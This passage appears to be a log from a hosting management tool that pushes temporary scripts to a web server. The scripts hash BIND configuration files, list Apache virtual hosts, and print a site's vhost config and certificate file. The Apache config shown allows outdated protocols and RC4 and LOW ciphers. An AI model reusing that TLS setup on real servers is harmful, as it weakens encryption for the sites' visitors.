Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-01-03 18:41:49: Establishing a connection
2026-01-03 18:41:49: 

PUT: /tmp/pkp548546

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-03 18:41:49: 

runuser -l bind -s /bin/bash -c '/tmp/pkp548546; rm /tmp/pkp548546'

2026-01-03 18:41:49: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-03 18:50:36: Establishing a connection
2026-01-03 18:50:37: 

PUT: /tmp/pkp730619

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-03 18:50:38: 

chmod 755 /tmp/pkp730619; /tmp/pkp730619; rm /tmp/pkp730619

2026-01-03 18:50:39: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
         port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
         port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
         port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443                  is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
         port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
         port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
         port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-01-03 18:50:39: 

PUT: /tmp/pkp501276

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf')
    show_file('/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 18:50:39: 

chmod 755 /tmp/pkp501276; /tmp/pkp501276; rm /tmp/pkp501276

2026-01-03 18:50:39: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf	1490
<VirtualHost *:80>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
</VirtualHost>





----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf	1490
<VirtualHost *:80>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
</VirtualHost>







2026-01-03 18:50:39: 

PUT: /tmp/pkp444965

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 18:50:40: 

chmod 755 /tmp/pkp444965; /tmp/pkp444965; rm /tmp/pkp444965

2026-01-03 18:50:40: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4	5385
cd:8f:26:d5:18:ea:d6:47:d2:67:da:2c:da:00:21:5a

-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBS/XsdpTAH0CFIV9Y+aI1ktqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAzMTcxNjE3WhcNMjYwNDAzMTcxNjE2WjAkMSIwIAYDVQQD
ExloeW1ucy5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAxGWFIEFX2u59TNziWB8CrQzCGHpFeaGe1zwofUVTBTY3kCbf
7wG3pnujVXydVJqacEZzpjcBmRSqLQyBGB0SbUYHBqvDTDeIMTON46kuNpFiSkM9
c9jekNCgckdpCk2DnagwBKqn7jwOAbT4oTL9r5/JDw18FA4rX+KzGF3OiSVEJB/L
